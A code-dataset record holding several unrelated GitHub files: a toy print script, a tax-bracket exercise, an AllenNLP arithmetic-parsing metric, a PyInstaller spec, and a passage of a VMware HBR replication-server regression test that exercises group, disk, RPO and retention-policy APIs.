6eb5d6f21a0f8cb5ea2bf73c210ca1f46ca447bf | ce76b3ef70b885d7c354b6ddb8447d111548e0f1 | /large_case.py | 277a782fa6b80b12aba0b6d2cd3f37a72636cccd | [] | no_license | JingkaiTang/github-play | 9bdca4115eee94a7b5e4ae9d3d6052514729ff21 | 51b550425a91a97480714fe9bc63cb5112f6f729 | refs/heads/master | 2021-01-20T20:18:21.249162 | 2016-08-19T07:20:12 | 2016-08-19T07:20:12 | 60,834,519 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 232 | py |
#! /usr/bin/env python
def problem_or_right_thing(str_arg):
world(str_arg)
print('number')
def world(str_arg):
print(str_arg)
if __name__ == '__main__':
problem_or_right_thing('see_same_problem_from_government')
| [
"jingkaitang@gmail.com"
] | jingkaitang@gmail.com |
7d8771b2852273169428bbe1116e9f713bf48d93 | 70f4171d3024d22de8686ffff5b4bfee9bffa4b0 | /uri-online-judge/1051.py | 2a36fa52704e0086ce3e77e864d5e93b4a47b732 | [] | no_license | raquelsouto/python | 1ea105a5a3844cf1827da10b4b74b8366cfed39c | dbafa504e83a20c8eb3ed453069b49d631a13d2c | refs/heads/master | 2022-11-21T23:36:28.973184 | 2020-07-23T02:08:12 | 2020-07-23T02:10:01 | 281,823,427 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 592 | py | salario = float(input())
if salario > 0 and salario <= 2000:
print('Isento')
elif salario >= 2000.01 and salario <= 3000:
valor1 = salario - 2000
imposto1 = (valor1 * 0.08)
print('R$ %.2f' %imposto1)
elif salario > 3000.01 and salario <= 4500:
valor2 = salario - 2000
taxa2 = valor2 - 1000
imposto2 = (1000 * 0.08) + (taxa2 * 0.18)
print('R$ %.2f' %imposto2)
else:
valor3 = salario - 2000
taxa3 = valor3 - 1000
excedente3 = taxa3 - 1500
imposto3 = (1000 * 0.08) + (1500 * 0.18) + (excedente3 * 0.28)
print('R$ %.2f' %imposto3)
| [
"kelsouto@gmail.com"
] | kelsouto@gmail.com |
61c3dafe64239e02d32667643e92009192305061 | 773c9aa9520cba754de78a487c3f6a5994480231 | /nla_semparse/nla_semparse/nla_metric.py | 6dc60591b7a667ab61dca257f9a7a9c600ad0b3a | [
"MIT"
] | permissive | duanzhihua/allennlp-guide | a9ba1b012b2681fc8edef23c06d068b3f7a0e819 | 8bd90d1764ad6310145114fcaed48ea9ab986f4a | refs/heads/master | 2023-08-21T23:58:41.577048 | 2021-10-22T22:26:52 | 2021-10-22T22:26:52 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,051 | py | from typing import Dict, List, Optional
from overrides import overrides
from allennlp.training.metrics.metric import Metric
from allennlp_semparse.domain_languages.domain_language import ExecutionError
from .nla_language import NlaLanguage
@Metric.register("nla_metric")
class NlaMetric(Metric):
"""
Metric for evaluating prefix arithmetic sequences against targets, useful for Natural Language Arithmetic
parsing. This metric evaluates predicted sequences on three things: 1) whether the predicted metric is a
well-formed prefix arithmetic expression, 2) whether the predicted sequence and the target seqquence evaluate
to the same value, 3) whether the predicted sequence and the target sequence are identical.
"""
def __init__(self):
self._language = NlaLanguage()
self._num_well_formed = 0
self._num_correct_denotation = 0
self._num_same_sequence = 0
self._num_all_sequences = 0
@overrides
def __call__(self, predictions, targets) -> None:
for prediction, target in zip(predictions, targets):
if isinstance(prediction, list):
prediction = " ".join(prediction).replace("( ", "(").replace(" )", ")")
target = " ".join(target).replace("( ", "(").replace(" )", ")")
if isinstance(prediction, str) and not prediction.startswith("("):
prediction = f"({prediction})"
if isinstance(target, str) and not target.startswith("("):
target = f"({target})"
evaluated_prediction = None
evaluated_target = None
try:
evaluated_target = self._language.execute(target)
evaluated_prediction = self._language.execute(prediction)
except (TypeError, ExecutionError, IndexError):
pass
if isinstance(evaluated_prediction, int):
self._num_well_formed += 1
if evaluated_prediction == evaluated_target:
self._num_correct_denotation += 1
if prediction == target:
self._num_same_sequence += 1
self._num_all_sequences += 1
@overrides
def get_metric(self, reset: bool = False) -> Dict[str, float]:
if self._num_all_sequences == 0:
metrics = {
"well_formedness": 0.0,
"denotation_accuracy": 0.0,
"sequence_accuracy": 0.0,
}
else:
metrics = {
"well_formedness": self._num_well_formed / self._num_all_sequences,
"denotation_accuracy": self._num_correct_denotation
/ self._num_all_sequences,
"sequence_accuracy": self._num_same_sequence / self._num_all_sequences,
}
if reset:
self.reset()
return metrics
@overrides
def reset(self):
self._num_well_formed = 0
self._num_same_sequence = 0
self._num_correct_denotation = 0
self._num_all_sequences = 0
| [
"noreply@github.com"
] | duanzhihua.noreply@github.com |
de56ab5f4911f618b84712042c2b719d95c06110 | 4fad219a13598dcb99dccc4651ddbc032f3ec2df | /randeom_park.spec | 1f09d08bf4d6755fdd3eedb98a866130c1c7642f | [] | no_license | Feanor1992/random_park | 0ecd1b01014a2471a9771305d962d0235b537fb0 | 86126a51a205c30aa92af51d1290d7178f4cc48f | refs/heads/main | 2023-08-02T00:40:21.122526 | 2021-10-03T17:18:53 | 2021-10-03T17:18:53 | 406,098,121 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,048 | spec | # -*- mode: python ; coding: utf-8 -*-
block_cipher = None
a = Analysis(['randeom_park.py'],
pathex=['F:\\Artem\\Data Science\\random_park'],
binaries=[],
datas=[],
hiddenimports=[],
hookspath=[],
hooksconfig={},
runtime_hooks=[],
excludes=[],
win_no_prefer_redirects=False,
win_private_assemblies=False,
cipher=block_cipher,
noarchive=False)
pyz = PYZ(a.pure, a.zipped_data,
cipher=block_cipher)
exe = EXE(pyz,
a.scripts,
a.binaries,
a.zipfiles,
a.datas,
[],
name='randeom_park',
debug=False,
bootloader_ignore_signals=False,
strip=False,
upx=True,
upx_exclude=[],
runtime_tmpdir=None,
console=True,
disable_windowed_traceback=False,
target_arch=None,
codesign_identity=None,
entitlements_file=None )
| [
"feanor1992@gmail.com"
] | feanor1992@gmail.com |
50f67d2b8da211228e3524f48d533e48fb1471d2 | bbec348efb79c6588a4cb6bb565c813fe3fe86ad | /pyVpx/tests/hbrServer.py | 9c521e7a53bb553cdf059ed14d5ffd65b7efd55d | [] | no_license | free-Zen/pvc | 2be60fdc0fd0345039219c802223f987fce3b113 | 8428a84481be319ae739dfbb87715f31810138d9 | refs/heads/master | 2022-02-24T12:13:31.599398 | 2019-10-14T07:49:13 | 2019-10-14T07:49:13 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 48,195 | py | #!/usr/bin/python
#
# hbrServer.py
#
# Simple regression tests for the HBR server
#
# XXX Rename hbrsrvTestAlone.py? XXX something better than that?
#
#
# To Use this script:
#
# (1) You must build the "vmodl-hbr-py-build" target.
# (2) Use the vim/py/py.sh wrapper script to run this:
# bora/vim/py/py.sh bora/vim/py/tests/hbrServer.py
#
#
# Generated python wrappers for the Hbr.Replica VMODL (used by hbrsrv)
# are in:
# build/build/vmodl/obj/generic/pyVmomi/HbrReplicaTypes.py
#
#
# TODO:
# - run different tests from command line to make failure isolation easier
#
from __future__ import print_function
import sys
import random
import traceback
import atexit
import os
import tempfile
import re
import commands
import time
import httplib
import copy
from pyVmomi import Hbr
from pyVmomi import Vmodl # XXX for exceptions
#import pyVim
from pyVim.helpers import Log
from pyVim import arguments
import pyHbr.servercnx
import pyHbr.disks
# XXX ugly, but a side-effect of having factored these routines out of
# here originally
from pmtest import TestFunc, TestFailedExc, ExpectCond, \
ExpectedException, ExpectException, ExpectNoException, \
ExpectNotImplemented, ExpectNotFound, ExpectManagedObjectNotFound, \
RunCommand
def CreateRandomId(prefix):
return "%s-%u" % (prefix, random.randrange(0,1000*1000*1000))
def CreateRandomReplicaDiskPath():
"""
Random relative path to a replica disk. (No datastore component.)
"""
global testdir
vmdkName = CreateRandomId("hbrServer-disk") + ".vmdk"
return os.path.join(testdir, vmdkName)
def CreateRandomVMPath():
"""
Random relative path to a vm replica. (No datastore component.)
"""
global testdir
vmdirName = CreateRandomId("vmcfg")
return os.path.join(testdir, vmdirName)
allDisks = dict()
def CreateDisk(diskName, datastoreMgr):
global defaultDsMgr
global allDisks
if (datastoreMgr == None):
datastoreMgr = defaultDsMgr
# only create a new disk if its really needed
if not diskName in allDisks:
datastoreMgr.CreateDisk(diskName)
atexit.register(datastoreMgr.DeleteDisk, diskName)
allDisks[diskName] = 0
# ref count uses of disk
allDisks[diskName] = allDisks[diskName] + 1
def CleanupDisk(diskName):
global defaultDsMgr
global allDisks
if diskName in allDisks:
allDisks[diskName] = allDisks[diskName] - 1
if allDisks[diskName] == 0:
defaultDsMgr.DeleteDisk(diskName)
del allDisks[diskName]
def CreateDiskSpec(diskName,
diskRDID,
datastoreMgr):
global defaultDsMgr
if (datastoreMgr == None):
datastoreMgr = defaultDsMgr
vmfsPath = datastoreMgr.VMFSPath(diskName)
# Create the diskIdent for the random location
diskIdent = Hbr.Replica.IdentSpec()
diskIdent.id = diskRDID
diskIdent.datastoreUUID = datastoreMgr.DatastoreUUID()
diskIdent.pathname = diskName + ".vmdk"
# Actually create a disk:
CreateDisk(vmfsPath, datastoreMgr)
# Make a disk spec:
disk = Hbr.Replica.DiskSpec()
disk.diskIdent = diskIdent
return disk
def CreateRandomizedDiskSpec(datastoreMgr):
"""
Create a randomish disk spec for attaching to a group spec.
Disk id is a random ID with the 'disk-id' prefix,
"""
global defaultDsMgr
if (datastoreMgr == None):
datastoreMgr = defaultDsMgr
diskName = CreateRandomReplicaDiskPath()
diskRDID = CreateRandomId("disk-id")
# Create disk with random name and ID:
return CreateDiskSpec(diskName, diskRDID, datastoreMgr)
def CreateRandomizedVMIdent(datastoreMgr,
vmID=None):
global defaultDsMgr
if (datastoreMgr == None):
datastoreMgr = defaultDsMgr
if vmID is None:
vmID = CreateRandomId("random-vm-id")
# Random VM config directory location:
vmPath = CreateRandomVMPath()
vmfsPath = datastoreMgr.VMFSPath(vmPath)
# Make the VM directory. Needed by unconfigure tests, at least
datastoreMgr.MakeDirectory(vmfsPath);
# Fill out identity with vmID and location:
vmIdent = Hbr.Replica.IdentSpec()
vmIdent.id = vmID
vmIdent.datastoreUUID = datastoreMgr.DatastoreUUID()
vmIdent.pathname = vmPath
return vmIdent
def CreateRandomizedVMSpec(datastoreMgr,
vmID=None,
diskCt=None):
# Random number of disks attached to a random vm:
diskCt = diskCt or random.randrange(0,6)
# Random VM spec with random number of disks:
vm = Hbr.Replica.VirtualMachineSpec()
vm.virtualMachineIdent = CreateRandomizedVMIdent(datastoreMgr, vmID)
vm.replicatedDisks = [ CreateRandomizedDiskSpec(datastoreMgr) for x in xrange(diskCt) ]
return vm
def AddTierToRetentionPolicy(retentionPolicy,
granularityMins,
numSlots):
newPolicy = retentionPolicy
tier = Hbr.Replica.RetentionPolicy.Tier()
tier.SetGranularityMinutes(int(granularityMins))
tier.SetNumSlots(int(numSlots))
if not newPolicy:
newPolicy = Hbr.Replica.RetentionPolicy()
if not newPolicy.tiers:
newPolicy.tiers = [];
newPolicy.tiers.append(tier)
return newPolicy
def RetentionPolicyToString(retentionPolicy):
policyString = ""
if retentionPolicy != None and retentionPolicy.tiers != None:
for tier in retentionPolicy.tiers:
tier = str(tier.GetGranularityMinutes()) + "," + str(tier.GetNumSlots())
policyString = policyString + "(" + tier + ")"
return policyString
def CreateRandomizedGroupSpec(groupID=None,
rpo=None,
datastoreMgr=None,
retentionPolicy=None):
if groupID is None:
groupID = CreateRandomId("random-group-id")
# Create one random VM spec:
vm = CreateRandomizedVMSpec(datastoreMgr,vmID=groupID)
# Put the VM spec in a simple random group spec:
gspec = Hbr.Replica.GroupSpec()
gspec.id = groupID
gspec.rpo = rpo or random.randrange(1, 24*60)
gspec.vms = [ vm, ]
gspec.retentionPolicy = retentionPolicy or AddTierToRetentionPolicy(
None,
random.randrange(gspec.rpo, 24*60),
random.randrange(1, 24))
return gspec
def CreateInvalidGroupSpec(groupID,
disks,
datastoreMgr=None):
Log("Spec '" +groupID+ "' w/disks: " +str(disks))
# Make a VM spec with the virtual disks specified in *disks
vm = Hbr.Replica.VirtualMachineSpec()
vm.virtualMachineIdent = CreateRandomizedVMIdent(datastoreMgr, vmID=groupID)
vm.replicatedDisks = [ ]
# Convert variable number of name/rdid pairs into disk specs:
for rdid, name in disks:
disk = CreateDiskSpec(name, rdid, datastoreMgr)
vm.replicatedDisks.append(disk)
# Make a simple group spec with the above VM in it
gspec = Hbr.Replica.GroupSpec()
gspec.id = groupID
gspec.rpo = random.randrange(10, 100)
gspec.vms = [ vm, ]
gspec.retentionPolicy = AddTierToRetentionPolicy(
None,
random.randrange(gspec.rpo, 24*60),
random.randrange(1, 24))
return gspec
def CreateHostSpec(addr, auth):
spec = Hbr.Replica.HostSpec()
spec.hostId = addr;
spec.hostAddresses = [addr];
spec.hostAuth = auth;
return spec
def PrintDatastores(dsList):
if (len(dsList) == 0):
print("Datastore list is empty..")
return
print("Printing datastore list...")
for ds in dsList:
print("\tDatastore: %s\tAccessible: %s" % (ds.uuid, ds.accessible))
return
###
### Tests
###
@TestFunc
def TestCreateGroup(count, repManager):
"""Test ReplicationManager CreateGroup method."""
# Create 'count' random (valid) groups.
for x in xrange(0, count):
gspec = CreateRandomizedGroupSpec()
Log("Created spec: " +str(gspec))
g = ExpectNoException(repManager.CreateGroup, gspec)
Log("Got group: " +str(g))
# check idempotency
g2 = ExpectNoException(repManager.CreateGroup, gspec)
if g._moId != g2._moId:
raise TestFailedExc("Group returned to duplicate CreateGroup call '" +
str(g2)+ "' is not equivalent to existing '" +
str(g)+ "'.")
Log("Valid group create tests complete.")
# Create a valid spec (with at least one valid disk). To use for
# causing duplicate-disk errors.
while True: # Retry until we get at least one valid disk
validSpec = CreateRandomizedGroupSpec()
if len(validSpec.vms[0].replicatedDisks) != 0:
break
validDiskID = validSpec.vms[0].replicatedDisks[0].diskIdent.id
invalidGroups = (
(Hbr.Replica.Fault.InvalidGroupSpec,
"groupid-same disk twice",
(("gr1-disk1", "valid-disk-1"),
("gr1-disk1", "valid-disk-1")
)
),
(Hbr.Replica.Fault.InvalidGroupSpec,
"groupid-same diskid twice",
(("gr2-disk1", "valid-disk-1"),
("gr2-disk1", "valid-disk-2")
)
),
(Hbr.Replica.Fault.HbrDiskAlreadyExists,
"groupid-reused diskid",
(("gr3-disk1", "valid-disk-1"),
(validDiskID, "valid-disk-2")
)
),
(Hbr.Replica.Fault.InvalidGroupSpec,
"group-with-a-too-long-invalid-group-id-that-should-not-be-accepted-ever-no-matter-what-no-matter-how-superb-hbrsrv-ever-becomes",
(("gr4-disk-1", "valid-disk-1"),
)
),
(Hbr.Replica.Fault.InvalidHbrDiskSpec,
"groupid-too long diskid",
(("disk-with-a-too-long-invalid-disk-id-that-should-not-be-accepted-ever-no-matter-what-no-matter-how-superb-hbrsrv-ever-becomes", "valid-disk-1"),
)
),
(Hbr.Replica.Fault.InvalidGroupSpec,
"id-invalid-period.",
(("gr1-d1", "valid-disk-1"),
)
),
(Hbr.Replica.Fault.InvalidGroupSpec,
"id-invalid-bang!",
(("gr1-d1", "valid-disk-1"),
)
),
(Hbr.Replica.Fault.InvalidGroupSpec,
"id-invalid-hash#",
(("gr1-d1", "valid-disk-1"),
)
),
(Hbr.Replica.Fault.InvalidGroupSpec,
"id-invalid-quote'",
(("gr1-d1", "valid-disk-1"),
)
),
(Hbr.Replica.Fault.InvalidGroupSpec,
"id-invalid-dblquote\"",
(("gr1-d1", "valid-disk-1"),
)
),
(Hbr.Replica.Fault.InvalidGroupSpec,
"id-invalid-nl\n",
(("gr1-d1", "valid-disk-1"),
)
),
(Hbr.Replica.Fault.InvalidGroupSpec,
"id-invalid-tab\t",
(("gr1-d1", "valid-disk-1"),
)
),
(Hbr.Replica.Fault.InvalidGroupSpec,
"id-invalid-dollar$",
(("gr1-d1", "valid-disk-1"),
)
),
(Hbr.Replica.Fault.InvalidGroupSpec,
"$#!@_&$**()",
(("gr1-d1", "valid-disk-1"),
)
),
(Hbr.Replica.Fault.InvalidGroupSpec,
"",
(("gr1-d1", "valid-disk-1"),
)
),
(Hbr.Replica.Fault.InvalidHbrDiskSpec,
"valid-gr1",
(( "gr1-d1-invalid-period.", "valid-disk-1"),
)
),
(Hbr.Replica.Fault.InvalidHbrDiskSpec,
"valid-gr1",
(( "", "valid-disk-1"),
)
),
(Hbr.Replica.Fault.InvalidHbrDiskSpec,
"valid-gr1",
(( "_@$#!$**&&", "valid-disk-1"),
)
),
)
# Create the valid group for 'groupid-reused diskid' to conflict with
g = ExpectNoException(repManager.CreateGroup, validSpec)
Log("Got 'valid' group (for reused id test): " +str(g))
for fault, groupID, disks in invalidGroups:
Log("Creating group with invalid ID(s): " +str(groupID))
invalGr = CreateInvalidGroupSpec(groupID, disks)
ExpectException(fault, repManager.CreateGroup, invalGr)
Log("Try with mismatch between 'group' and 'vm' ids:")
invalGr = CreateInvalidGroupSpec("group-id-different-from-vm",
(("gr1-d1", "valid-disk-1"), ))
invalGr.id = "group-id-VERY-DIFFERENT-from-vm"
ExpectException(Hbr.Replica.Fault.InvalidVirtualMachineSpec,
repManager.CreateGroup, invalGr)
Log("Try with invalid vm datastore configuration:")
baseSpec = CreateRandomizedGroupSpec()
for ds in ("invalid/datastore", "/", "/invalid", "invalid/"):
Log("Setting datastore to: '%s'" % ds)
baseSpec.vms[0].virtualMachineIdent.datastoreUUID = ds
ExpectException(Hbr.Replica.Fault.InvalidVirtualMachineSpec,
repManager.CreateGroup, baseSpec)
# Test that we don't accidentally allow duplicate calls when the spec changes
Log("Negative idempotency tests");
gspec = CreateRandomizedGroupSpec()
g = ExpectNoException(repManager.CreateGroup, gspec)
g2 = ExpectNoException(repManager.CreateGroup, gspec)
if g._moId != g2._moId:
raise TestFailedExc("Group returned to duplicate CreateGroup call '" +
str(g2)+ "' is not equivalent to existing '" +
str(g)+ "'.")
# Test with completely different spec
gspec2 = CreateRandomizedGroupSpec()
gspec2.id = gspec.id
gspec2.vms[0].virtualMachineIdent.id = gspec.id
ExpectException(Hbr.Replica.Fault.GroupAlreadyExists,
repManager.CreateGroup, gspec2)
# Test with slightly different specs
gpsec2 = copy.deepcopy(gspec)
gspec2.rpo = gspec2.rpo + 1;
ExpectException(Hbr.Replica.Fault.GroupAlreadyExists,
repManager.CreateGroup, gspec2)
# Test with different VM spec
gpsec2 = copy.deepcopy(gspec)
gspec2.vms = [ CreateRandomizedVMSpec(None, vmID=gspec.id) ]
ExpectException(Hbr.Replica.Fault.GroupAlreadyExists,
repManager.CreateGroup, gspec2)
# Test with different disks
gpsec2 = copy.deepcopy(gspec)
gspec2.vms[0].replicatedDisks.append(CreateRandomizedDiskSpec(None))
ExpectException(Hbr.Replica.Fault.GroupAlreadyExists,
repManager.CreateGroup, gspec2)
Log("All invalid group create tests complete.")
@TestFunc
def TestGetInvalidGroup(repManager):
"""Test ReplicationManager.GetGroup with invalid group."""
ExpectException(Hbr.Replica.Fault.GroupNotFound,
repManager.GetGroup, "invalid-group-id")
@TestFunc
def TestGetValidGroup(repManager):
"""Test ReplicationManager.GetGroup with a valid group."""
validID = CreateRandomId("valid-group")
gspec = CreateRandomizedGroupSpec(groupID=validID)
newGroup = ExpectNoException(repManager.CreateGroup, gspec)
fetchGroup = ExpectNoException(repManager.GetGroup, validID)
if fetchGroup._moId != newGroup._moId:
raise TestFailedExc("New group '" +str(newGroup)+ "' is not "
"equivalent to fetched '" +str(fetchGroup)+ "'.")
Log("Created and looked up '" +str(newGroup)+ "'.")
@TestFunc
def TestGetGroup(repManager):
"""Test ReplicationManager GetGroup method."""
TestGetInvalidGroup(repManager)
TestGetValidGroup(repManager)
@TestFunc
def TestGetGroups(repManager):
# This test needs to run when there are no groups in the server (i.e. before
# other tests)
"""Test ReplicationManager groups property."""
# Check that we get no groups initially
groups = repManager.groups
if len(groups) != 0:
raise TestFailedExc("Expected no groups, server reported " +
str(groups))
# Add a group, check that we get it
group1Id = CreateRandomId("getgroups1")
group1Spec = CreateRandomizedGroupSpec(groupID=group1Id)
group1 = ExpectNoException(repManager.CreateGroup, group1Spec);
groups = repManager.groups
if (len(groups) != 1) or (group1._moId != groups[0]._moId):
raise TestFailedExc("Expected 1 group " + str(group1) + " received " +
str(groups))
# Add another group, check that we get both
group2Id = CreateRandomId("getgroups2")
group2Spec = CreateRandomizedGroupSpec(groupID=group2Id)
group2 = ExpectNoException(repManager.CreateGroup, group2Spec);
groups = repManager.groups
if len(groups) != 2 or not \
(((group1._moId == groups[0]._moId) and \
(group2._moId == groups[1]._moId)) \
or
((group1._moId == groups[1]._moId) and \
(group2._moId == groups[0]._moId))):
raise TestFailedExc("Expected 2 groups " + str(group1) + " and " +
str(group2) + " but received " + str(groups))
# Remove both groups, check that again we get no groups
ExpectNoException(group1.Remove)
ExpectNoException(group2.Remove)
groups = repManager.groups
if len(groups) != 0:
raise TestFailedExc("Expected no groups, server reported " +
str(groups))
@TestFunc
def TestAddGroupErrorCleanup(repManager):
"""Test ReplicationManager cleanup on error in AddGroup"""
global defaultDsMgr
gspec1 = CreateRandomizedGroupSpec()
gspec2 = CreateRandomizedGroupSpec()
# Create a bogus disk
disk = Hbr.Replica.DiskSpec()
disk.diskIdent = Hbr.Replica.IdentSpec()
disk.diskIdent.id = CreateRandomId("disk-id")
disk.diskIdent.datastoreUUID = defaultDsMgr.DatastoreUUID()
disk.diskIdent.pathname = "bogus/path/baby.vmdk"
# Add disk to both groups
gspec1.vms[0].replicatedDisks.append(disk)
gspec2.vms[0].replicatedDisks.append(disk)
Log("Adding group 1 with bogus disk");
group1 = ExpectNoException(repManager.CreateGroup, gspec1);
Log("Trying to add group 2 with same bogus disk");
ExpectException(Hbr.Replica.Fault.HbrDiskAlreadyExists, repManager.CreateGroup, gspec2)
# Add it again, shouldn't matter
ExpectException(Hbr.Replica.Fault.HbrDiskAlreadyExists, repManager.CreateGroup, gspec2)
Log("Removing group 1");
ExpectNoException(group1.Remove);
Log("Adding group 2");
group2 = ExpectNoException(repManager.CreateGroup, gspec2);
Log("Removing group 2")
ExpectNoException(group2.Remove)
@TestFunc
def TestRemoveGroup(repManager):
"""Test Group Remove method"""
gspec = CreateRandomizedGroupSpec()
newGroup = ExpectNoException(repManager.CreateGroup, gspec)
Log("Created valid group " +str(newGroup)+ ". Will delete it now.")
ExpectNoException(newGroup.Remove)
Log("Deleted group " +str(newGroup)+ ". Will delete it again.")
ExpectManagedObjectNotFound(newGroup.Remove)
Log("Re-add group " +str(gspec)+ ".")
ExpectNoException(repManager.CreateGroup, gspec)
@TestFunc
def TestUnconfigureGroup(repManager):
"""Test Group Unconfigure method"""
# Create the group
gspec = CreateRandomizedGroupSpec()
newGroup = ExpectNoException(repManager.CreateGroup, gspec)
# Unconfigure the group
Log("Created valid group " +str(newGroup)+ ". Will unconfigure it now.")
ExpectNoException(newGroup.Unconfigure)
Log("Unconfigured group " +str(newGroup)+ ". Will unconfigure it again (error).")
ExpectManagedObjectNotFound(newGroup.Unconfigure)
Log("Re-add group " +str(gspec)+ ".")
ExpectNoException(repManager.CreateGroup, gspec)
@TestFunc
def TestRecoverGroup(repManager):
"""Test Group Recover method"""
# Create the group
gspec = CreateRandomizedGroupSpec()
newGroup = ExpectNoException(repManager.CreateGroup, gspec)
# Unconfigure the group
Log("Created valid group " +str(newGroup)+ ". Will unconfigure it now.")
ExpectNoException(newGroup.Unconfigure)
# Recover the group (equivalent to createGroup for now)
Log("Recover unconfigured group " +str(newGroup)+ ". Will delete it again.")
ExpectManagedObjectNotFound(newGroup.Unconfigure)
Log("Re-add group " +str(gspec)+ ".")
ExpectNoException(repManager.CreateGroup, gspec)
@TestFunc
def TestAddRemoveDisk(repManager):
"""Test ReplicationManager RemoveGroup method"""
groupID = CreateRandomId("addrm-group-id")
disk1Spec = CreateRandomizedDiskSpec(datastoreMgr=None)
disk2Spec = CreateRandomizedDiskSpec(datastoreMgr=None)
disk3Spec = CreateRandomizedDiskSpec(datastoreMgr=None)
vmSpec = Hbr.Replica.VirtualMachineSpec()
vmSpec.virtualMachineIdent = CreateRandomizedVMIdent(datastoreMgr=None,
vmID=groupID)
vmSpec.replicatedDisks = [ disk1Spec ]
gSpec = Hbr.Replica.GroupSpec()
gSpec.id = groupID
gSpec.rpo = 13
gSpec.vms = [ vmSpec ]
Log("Creating group")
g = ExpectNoException(repManager.CreateGroup, gSpec)
vms = g.GetVms()
ExpectCond(len(vms) == 1, "Group should contain 1 VM")
vm = vms[0]
Log("Adding disk 2")
d2 = ExpectNoException(vm.AddDisk, disk2Spec)
ExpectException(Hbr.Replica.Fault.HbrDiskAlreadyExists, vm.AddDisk, disk2Spec)
ExpectCond(not d2.unconfigured, "Disk is unconfigured after add!")
ExpectException(Hbr.Replica.Fault.HbrDiskNotUnconfigured, vm.RemoveDisk, d2)
ExpectCond(not d2.unconfigured, "Disk became unconfigured!")
ExpectNoException(vm.UnconfigureDisk, d2)
ExpectCond(d2.unconfigured, "Disk is not unconfigured after unconfigure!")
ExpectNoException(vm.UnconfigureDisk, d2)
ExpectCond(d2.unconfigured, "Disk became configured!")
ExpectNoException(vm.RemoveDisk, d2)
ExpectManagedObjectNotFound(vm.RemoveDisk, d2)
Log("Removing disk 1")
d1 = ExpectNoException(vm.GetDisk, disk1Spec.diskIdent.id)
ExpectCond(not d1.unconfigured, "Disk is already unconfigured!")
ExpectException(Hbr.Replica.Fault.HbrDiskNotUnconfigured, vm.RemoveDisk, d1)
ExpectCond(not d1.unconfigured, "Disk became configured!")
ExpectNoException(vm.UnconfigureDisk, d1)
ExpectCond(d1.unconfigured, "Disk is not unconfigured after unconfigure!")
ExpectNoException(vm.RemoveDisk, d1)
Log("Adding all disks and removing")
d1 = ExpectNoException(vm.AddDisk, disk1Spec)
d2 = ExpectNoException(vm.AddDisk, disk2Spec)
d3 = ExpectNoException(vm.AddDisk, disk3Spec)
ExpectNoException(vm.UnconfigureDisk, d1)
ExpectNoException(vm.UnconfigureDisk, d2)
ExpectNoException(vm.RemoveDisk, d2)
ExpectNoException(vm.UnconfigureDisk, d3)
ExpectNoException(vm.RemoveDisk, d1)
ExpectNoException(vm.RemoveDisk, d3)
ExpectNoException(g.Remove)
@TestFunc
def TestGroupVMs(gspec, group):
# Note that 'vms' is a property, not a method
Log("Test .vms property");
vms = group.vms
if len(vms) != 1:
raise TestFailedExc("Groups should only contain 1 VM!")
Log("Got vm " +str(vms[0]))
# GetVirtualMachineIdent
# GetDisks
# ChangeConfigLocation
@TestFunc
def TestReplicaGroup(repManager):
rpo=42
retentionPolicy = AddTierToRetentionPolicy(None, 60, 4)
gspec = CreateRandomizedGroupSpec(rpo=rpo, retentionPolicy=retentionPolicy)
group = ExpectNoException(repManager.CreateGroup, gspec)
Log("Created group for testing ReplicaGroup API: " +str(group))
TestGroupVMs(gspec, group)
Log("Test GetRpo");
returnRpo = group.GetRpo()
if returnRpo != rpo:
raise TestFailedExc("RPO should be " + str(rpo) + ", not " + str(returnRpo));
Log("Test UpdateRpo (valid RPO values)");
for nRpo in [ 0, 1, 11, 13, 99, 100, 1000, 1440 ]:
ExpectNoException(group.UpdateRpo, nRpo)
returnRpo = group.GetRpo()
if returnRpo != nRpo:
raise TestFailedExc("RPO should be " + str(nRpo) + ", not " + str(returnRpo));
Log("Test UpdateRpo (invalid RPO values)");
invalRpoFault = Vmodl.Fault.InvalidArgument
for nRpo in [ -1000, -1, 1441, 100*1000*1000 ]:
ExpectException(invalRpoFault, group.UpdateRpo, nRpo)
Log("Test GetRetentionPolicy");
returnPolicy = group.GetRetentionPolicy()
if RetentionPolicyToString(returnPolicy) != RetentionPolicyToString(retentionPolicy):
raise TestFailedExc("Retention policy should be " +
RetentionPolicyToString(retentionPolicy) + ", not " +
RetentionPolicyToString(returnPolicy));
Log("Test UpdateRetentionPolicy (valid retention policy values)");
testPolicy = AddTierToRetentionPolicy(None, 0, 8)
testPolicy = AddTierToRetentionPolicy(testPolicy, 5, 14)
testPolicy = AddTierToRetentionPolicy(testPolicy, 15, 3)
testPolicy = AddTierToRetentionPolicy(testPolicy, 45, 16)
testPolicy = AddTierToRetentionPolicy(testPolicy, 120, 8)
testPolicy = AddTierToRetentionPolicy(testPolicy, 360, 10)
testPolicy = AddTierToRetentionPolicy(testPolicy, 1140, 2)
totalSlots = 0
retentionPolicy = None
for tier in testPolicy.tiers:
if totalSlots + tier.GetNumSlots() > 24:
totalSlots = 0
retentionPolicy = None
retentionPolicy = AddTierToRetentionPolicy(retentionPolicy,
tier.GetGranularityMinutes(),
tier.GetNumSlots())
totalSlots += tier.GetNumSlots()
ExpectNoException(group.UpdateRetentionPolicy, retentionPolicy)
returnPolicy = group.GetRetentionPolicy()
if RetentionPolicyToString(returnPolicy) != RetentionPolicyToString(retentionPolicy):
raise TestFailedExc("Retention policy should be " +
RetentionPolicyToString(retentionPolicy) + ", not " +
RetentionPolicyToString(returnPolicy));
Log("Test UpdateRetentionPolicy (invalid retention policy values)");
testPolicy = AddTierToRetentionPolicy(None, -1, 8)
testPolicy = AddTierToRetentionPolicy(testPolicy, 0, -1)
testPolicy = AddTierToRetentionPolicy(testPolicy, 15, 0)
testPolicy = AddTierToRetentionPolicy(testPolicy, 45, 36)
invalidPolicyFault = Vmodl.Fault.InvalidArgument
for tier in testPolicy.tiers:
retentionPolicy = AddTierToRetentionPolicy(None,
tier.GetGranularityMinutes(),
tier.GetNumSlots())
ExpectException(invalidPolicyFault, group.UpdateRetentionPolicy, retentionPolicy)
# Test repeating the same granularity mins
testPolicy = AddTierToRetentionPolicy(None, 5, 2)
testPolicy = AddTierToRetentionPolicy(testPolicy, 10, 6)
testPolicy = AddTierToRetentionPolicy(testPolicy, 10, 12)
testPolicy = AddTierToRetentionPolicy(testPolicy, 20, 1)
